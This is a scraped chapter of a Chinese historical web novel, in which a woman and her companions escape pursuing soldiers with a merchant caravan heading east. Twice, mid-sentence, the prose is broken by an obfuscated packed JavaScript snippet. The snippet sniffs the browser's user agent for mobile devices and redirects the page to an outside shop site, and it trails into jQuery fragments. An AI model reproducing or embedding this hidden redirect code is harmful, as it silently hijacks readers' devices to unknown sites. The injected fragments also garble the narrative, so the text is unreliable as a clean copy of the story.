“这只是定金，姑娘若是帮我做成此事，我自会给姑娘更多的酬金。” 看着沉竹神情真挚，梁朵将那句“这实在是太少了”咽了下来，向沉竹问道：“你到底要我帮你办何事？” 沉竹不再避讳，直说道：“我想和姑娘的商队一起，去往东部边境。” 梁朵听后上下打量了沉竹一番，瞧着其既不像亡命之徒，又不像常年奔波的商贾，她疑惑着问着沉竹：“你是何人？你去往东部边境是要办何事？” “姑娘可唤我名字，我名沉竹，从燕京城而来随我家夫人去往东境探亲访友，不想途中遭乱，车马都被人抢了去，只好想出法子，寻求商队庇护，去往东境。” “如此周折却还要前往，你家是何亲人在东境谋生？”梁朵的眉头皱起，继续问着沉竹。 “是我家夫人的郎君。”沉竹从容地回答道，“他被军中发配到东境驻守，二人分别已有近一年之久，实是思念得紧，我家夫人才攒了钱财驱车去见，不想其间路途如此艰险。” 沉竹面上戚戚的神色真切，瞧得梁朵分了心神，她本不情愿在商队中混入不相干的人，但还是一咬牙，将桌上的钱财放入了自己袖中，对沉竹说道：“你一行几人？” “四人。” 梁朵听后点点头，接着告知沉竹：“我们的商队预计在后日启程，你们的时间是否合适？” 在城中多呆一日于沉竹而言都不是安全的选择，但能如此顺畅地找到合适的商队并不容易，于是她看着梁朵回答道：“好，后日一早我带着我家夫人在此处等候姑娘可好？” “好。”梁朵爽快地应下。 “对了，方才事情谈得紧急，不知该如何称呼姑娘？” “梁朵，花朵的朵，叫我阿朵便好。” “后日见，阿朵姑娘。” 说罢，沉竹向她挥手告别，回到了她们在此处的客栈。 沉竹事先告知了顾涟涟她的打算，因而等到她回到客栈之时，顾涟涟已将身上值钱的东西变卖，换了一身朴素的衣裳等着她归来。 “可有了消息？”顾涟涟迎上去问道。 “我找到了一支商队，可让我们一路跟随，去往周邑附近。” “何时出发？” “后日。” “后日？”顾涟涟听到此消息还是有些不安，她知晓如今她们处境紧急，一日的耽搁就有可能重新陷入到困局之中，但她也知晓沉竹有她自己的考量，“后日也好，我们能多些时间准备，毕竟这一程山高路远。” “这支商队领头的是个名叫梁朵的女子，血统中应有着一半东羌，她为人爽直，是个可信赖的对象。” “如此最好，我曾听公公在家中言语，说有不少兆国人来往东境与燕京做生意，而这些人大多都与朝中官员有着或多或少的往来，能找到一个混血的商人实是不易。”顾涟涟听完沉竹的话，心又放下了一半，“明日霍夫人可有要我去做的？今日你辛苦，可身陷此境地我实在找不出什么可以回报。” “无妨，帮你本也在帮我自己，陈夫人无需挂怀。至于明日，明日没什么可做，只是少外出，藏匿好便是。” 沉竹无法给顾涟涟一个保证，保证明日钱正的人不会追到此处来。 此处离仲阳有多出一日的路程，但若是事态紧急，还是可以在一日之内赶到。 她心中也担忧，随身将今日从街市上新买来的刀携带，这把刀虽用着不如赋凌司的匕首顺手，但胜在刀尖锋利，只需轻轻一划，便可要人性命。 刀被打磨地光滑，烛火在上面摇晃地清晰可见。 她已有好久不曾亲自动手要人性命，如今手拿刀柄挥舞招式时还有些生疏。 她向来不喜用生疏去应对棘手的情况。 次日的白日里，并没有异动发生，沉竹紧绷的弦略松了下来，可等到夜里，街上却传来了阵阵急促的马蹄声。 她本就倚着窗边入睡，寂静夜里的这点声响迅速被她捕捉，她第一反应握紧了手中的刀，随后轻轻的推开窗户察看着外面的情况。 穿着铠甲的士兵一个个的从她的眼前掠过，落在最后的那一个在此处下马，在一面空着的墙上贴着什么。 沉竹心知事情不对，轻巧地将窗子合上，随后叫醒身边的沁兰，让她去唤顾涟涟一行起身。 等着窗外的马蹄声落下，她再次打开窗子，看着已被贴在那面墙上的画像。 兴许在抓捕逃犯？她在燕京城中也见过这样的景象。 距离太远，她瞧不真切，但似乎画像之上是位女子。 她不再心存侥幸，穿上行装，将要带的行囊迅速收拾好。 她们现在在钱正眼中就是逃犯。 听到开门声响就转醒的顾涟涟看到沁兰的身影，隐隐猜测到了她的来意。 她迅速起身，将伏在自己身边的侍女唤醒，叫其去收拾行囊，自己则先换上衣裳来到了沉竹房中。 “可是发生了什么事？” 沉竹收拾着东西，没空去看一身素衣披着发的顾涟涟，嘴上回答道：“外面似有追兵赶来，我们现下就要出发，若是等到明日天彻底亮起，怕是就晚了。” 顾涟涟听后不再拖沓回屋拿上收拾好的行囊，带着侍女准备跟着沉竹出发。 日头在地平线处蠢蠢欲动，早有晨光迫切地将崭新的一日唤醒。 沉竹带着一行人来到了商栈附近一条不起眼的小巷暂避，等待着梁朵前来。 街上没有官兵训示，但逐渐有百姓苏醒，他们打开家门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14296116|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，准备迎接晨光。 有人注意到了墙上贴着的画像，沉竹顺势也将帽檐压低。 待街市上卖早点的人们蓄势待发，梁朵带着商队人马终于出现在了商栈门前。 沉竹急忙上前，梁朵看到她们不紧不慢地将她们引到商队的后方。 “这箱子里装着的是何货物？”沉竹看着眼前半人大的木箱向梁朵问道。 “一些不值钱的毛毡。”梁朵边说边将一位随行的男子拉到了她们面前，“这是屈卢律，你们叫他阿律就好，此行由他照看你们。” 沉竹无暇打量身边站着的高大男子，只急着向梁朵问道：“我们现下可否启程了？” 梁朵没急着回答沉竹的问题，而是向前面的人呼喊道：“人可来齐了？货物可都清点抬上车了？” “都准备好了，阿朵。”一道略有些沙哑的女声从前面传来，回应着梁朵的问询。 “那便启程！”梁朵边说边走到队伍前方，骑上马，领着队伍向城门处行进。 看着商队启程，跟在队伍末尾的沉竹却还没安下心来，她们虽穿的朴素，但跟身边人的装扮还是格格不入。 “阿律，我们走得匆忙身上衣裳穿得单薄了些，可有些没用的衣物供我们几个御寒？” 屈卢律看着打量着车上货箱的沉竹，回答道：“这些箱子里有几件没人用的帽子和裘衣，你们看着取用。” 说完，他拉住手中的缰绳，将马叫停，打开木箱掏出了衣物摆到了沉竹的面前。 “你们尽快穿好，不宜落下队伍太远。” 她们将衣服套好，沉竹拍了拍屈卢律的肩膀，说道：“可以走了。” 屈卢律扭头，看到她们将衣服穿好，没多说些什么，驱马快行跟上了前面商队的队伍。 商队逐渐行至了城门前，沉竹低头，装作无意，不去看驻守的官兵是如何查验梁朵手中的通牒。 得到了出城的指令，商队逐渐向前行进，马车上的货物也依次在官兵眼前查验。 沉竹看着前方，混在周边商队的人中，跟着向前走着。 沁兰和顾涟涟身边的侍女档在她们周边，遮掩着她们的脸庞。 查验的官兵叫停了她们身前的那一辆马车，让手下的士兵掀开遮盖货物的草帘，打开货箱查验，他的视线则一一扫过周围站着的那些人。 商队中大多都是如梁朵一般的容貌，有着明显的羌人特征，有些人的五官甚至更为深邃。 城门前还涌着其他要在此刻出城的人，前后拥挤，沉竹一个不小心被身后的人往前挤了一个身位。 身后维持秩序的官兵注意到了这段小小的插曲，向后呼喊着：“安静些，人与人间都隔开些！” 前头的查验还没有结束，那个站在一旁等着结果的官兵仍旧在用视线检查着随行人员。 方才的拥挤显然引起了他的注意，他朝沉竹的位置望了过去。 站在自己身边的屈卢律在此时不动声色地向前迈了半步，挡住了那束即将要落到沉竹身上的视线。 57. 追兵 “多谢你方才帮我。” 沉竹一行安然走出城门后，她向身边的屈卢律道谢，她知道方才他并不是无意上前一步。 “你们究竟是何人？为何要躲避官兵的搜查？” “阿朵是如何向你说的？”沉竹反问道。 “如实说。”屈卢律回答道，“如你同她说的那般说与我听。” 沉竹点点头，回答着屈卢律方才的问题：“就如阿朵所说一样，只不过我从小害怕这些官兵罢了。” 看着沉竹的笑容，屈卢律没法子继续再问下去，遂转头不再看她，专注着前路。 大抵是因为愈来接近羌人的领土，越往东行，路上的查验便越发少了起来。 可商队的行进无法如沉竹所想那般日夜兼程，过几个地点总是要停下休憩一番，这次她们休憩的城池已到了周邑附近。 沉竹跟在队伍末尾，对商队所经历的事情其实不甚明晰，如今得以休息，商队中的人们三三两两地聚在一起，她才得知，这一路来原一直都有士兵拿着画像在寻人。 “说起来，那画像中的人长得同你有些像呢。”梁朵边说边将桌上的炙羊肉夹到了碗中。 “是吗？”沉竹笑笑，没再说些多余的话。 “不过也只是有些像，一路上我看到的画像都不太一样，有那么几张和你长得极为相像，其他的跟你相比完全是两模两样。” 官府给的酬金定要比自己给梁朵的那份定金要多得多，沉竹不知该说些什么，只得开口道谢：“多谢你们一路来照顾我们几个，此后若是有什么要帮忙的，只管吩咐我便是。” “无妨，我们身份特殊，本就鲜少有官兵会对我们多加搜查，更何况阿律同我说了，你们几个在路上也照看了我们商队的人不少，天寒时送衣买食，受伤时帮着买药包扎，做了不少事，帮你们也是应当的。” 商队中自会配有医士和专人来负责商队中人的病痛起居，她没有办法心安理得地接受她们的好意。 不过令她有些意外的是屈卢律竟会将这途中的发生的事告诉梁朵。 梁朵没有想着将探明沉竹一行所隐瞒的事，继续带着她们往东行进。 周邑作为兆国重要的东部边城，几乎是每支同羌人交易的商队都要途径的城池。 沉竹感受得到，商队离周邑越近，商队受到的搜查就越发严苛。 先前商队受到盘查之时，梁朵手中似是有着类似令牌的物件，阻碍着官兵的搜查。 因而这次遭到问询之时，沉竹以为也能顺利度过。 然这次她们遭到的问询与先前是不一样的，那些官兵手中不再拿着画像，而是呼喊着她们的名姓，并在名姓之后加上令人心动的酬金。 更加高昂的酬金，增加了沉竹她们的警惕。 她如今在商队中的名字为沉竹，但顾涟涟的处境却不相同，她开始担忧同她们一并走在商队末尾的同伴会将她们揭发。 可若是离开商队，她们是否还有可能离开现下歇脚的城池，沉竹心中没有把握，只得在商队中继续待着，同时继续思考着对策。 沉竹的担忧变成了现实。 就在她们抵达此处的第一日夜里，同沉竹一般走在商队末尾的人好恶预兆地带着官兵来到了沉竹所在的客栈厢房之内。 沉竹被这动静吵醒，睁开眼便看到了那个她曾帮过包扎伤口，顾涟涟帮着花钱买药的商队中人领着官兵推开厢房的大门进到了房中。 沉竹不为这样的背叛而感到难过，她思考着身在隔壁房间内顾涟涟的处境，思考着该如何安然无恙地带着已经被那些人挟持在手中的沁兰离开此处。 她伸手握住了藏在枕头下的刀，准备着看准时刻出击。 “晏尔，你这是在做什么？”屈卢律从那扇被人踹开的门走入，叫得那个为首的男子回头。 回答他疑问的不是那个叫做晏尔的男子，而是站在他身旁的官兵。 “我们奉命前来捉拿要犯，你有何原因阻拦？” 屈卢律站到了沉竹身前，坚定地说道：“阿朵手中有兆国昭王的信物，你们这些兆国官兵有何胆量捉拿皇家商队中的人？” 昭王的信物？沉竹早该想到的。 但怎会如此巧合，自己千挑万挑挑中的竟是昭王的商队。 “昭王的商队又如何？我们今日就是要将人带走。” 说罢，那官兵就要上前拿人，但还是被屈卢律一人硬生生地拦下。 “你们要找的人是赵叶芊，她不是你们要找的人。” “不是的，不是的，平日里她同那个顾涟涟，也就是你们口中的陈夫人走的最近，她定然就是你们要找的人！”站在官兵堆里的晏尔面对着身边士兵质疑的目光，忙摆手说道。 “不管是与不是，将人带走审问一番便是。再多几个人，将那女子拿下！” 沉竹不再坐以待毙，她站起按下屈卢律拦着的臂膀，向那为首的官兵问道：“你们是何人派来？” “我们是何人派来何需同你禀报？”那人一摆手，使唤手下上前将露出半个身体的沉竹捉拿。 但那个上前的官兵刚一触碰到沉竹的手臂，就被沉竹反制，别住了手腕整个身体都向前倾，沉竹顺势用刀抵在那人脖颈之上。 “我刚才的问题，你可能给我答复了？” 沉竹手中的官兵痛得乱叫着，她见为首的那个不为所动，遂一个手刀将被自己制住的官兵打昏。 她向外走了一步，冷淡地扫视着周围拿着刀的官兵，等着他们上前。 单凭她自己应当能将眼前这些士兵一一放倒，只是必然会受些伤，更费力些。 就在此时，一支箭刺破窗纸，扎在了两方中间空出的地上，晃动的箭身上红绳绑着信件。 “你，上前帮我把信取来。”为首的官兵边说边推搡着离自己最近的那个士兵。 士兵将绑在箭身上的信件取下，拿去给为首的官兵过目。 为首的官兵接过信件展开，信上的内容让他皱起了眉头，随后先让人松开了沁兰，再让两个人将倒在地上的那个士兵拉起，带着身边的士兵什么也没说，离开了沉竹的房间，留晏尔一人在原地不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14330089|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知所措地打转。 沁兰松了一口气，小跑到了沉竹身边，沉竹看着沁兰无恙，也放下了心来。 “多谢阿律方才站在我们这边。” 屈卢律不好意思地摸了摸头，低声说着“无妨”，随后粗鲁着拉着晏尔的衣服，将其拽出了房间。 “方才可真是惊险。”沁兰边将被那群人弄翻的桌椅扶起，边感叹道，“不过，方才屈卢律说的，夫人可听到了？” “自然。” “那夫人，我们可要离开商队？” “我也不知。” 照理说，她们身在手握昭王信物的商队之中，应当一开始就被她们捉获，可为何一路上都不见异常，甚至商队中的梁朵、屈卢律还频频出手相帮。 以及，这些越发临近周邑便越发严密搜查的官兵又是何人所派，竟听到屈卢律说出商队手中有着昭王信物依旧不为所动？ 沉竹思考着一时间得不出答案。 “夫人不知晓，那便先安睡罢，兴许一觉醒来，便能得出答案。”沁兰说着，吹灭了方才那些官兵点亮的火烛，放下了床帘。 沉竹躺在床榻上，闭着眼感受着周遭暗下来的光线，脑中想起那为首的官兵手中拿着的信件，想到那支还停留在地板上的箭，安心地坠入了梦乡。 次日，沉竹在商队中见到了顾涟涟，询问着昨晚的情况。 顾涟涟向她展示了自己被抓到淤青的手腕，笑着说道：“只这一处有事，其他都没事。” 说完，顾涟涟转头看向站在自己身后的侍女继续说道：“她也没事。” “那便好。沁兰此次药物带得齐全，手中还有些治淤青的药膏，我待会拿给你。” 二人就昨晚发生的事正说着话，屈卢律走到了她们的身边。 “可准备好了？我今早向阿朵说了昨夜发生的情况，她将日程提前，我们今天下午便出发。还有那个告密的晏尔，我已用刀割下了他的舌头，将他身上财物剥去，逐出了商队，你们可放心。” 在他之前，梁朵就派人告知了她们此事，她们趁着上午的时光早已将行囊收拾好。 “还要托阿律转达我们对阿朵姑娘的谢意。”顾涟涟微微欠身行礼向屈卢律示意，“听闻昨夜阿律也曾前来帮忙，当真是麻烦你们二人了。” “无妨。”屈卢律别过脸，回应顾涟涟的话，“一炷香后，我们就出发。” 说完就装作泰然离开了这二人身边，脚下的步伐却有些慌乱。 “离周邑越来越近了。”沉竹抬头用手做遮挡，看向依旧刺眼的阳光，她的脸上同时落下阴影与温暖的光辉。 “阿律的身份是否并非是商队的随行人那般简单？”顾涟涟专注地看着屈卢律远去的身影，没注意到沉竹口中的呢喃。 “是吗？”沉竹听到顾涟涟的话回头顺着她的视线看向屈卢律的背影。 从刚入商队时，沉竹就注意到了他腰间别着的金玉挂件，玉被雕刻成的模样，沉竹似在存放在赋凌司的古籍中看到过。 三头鸟环珠，是独属于东羌皇室的图腾。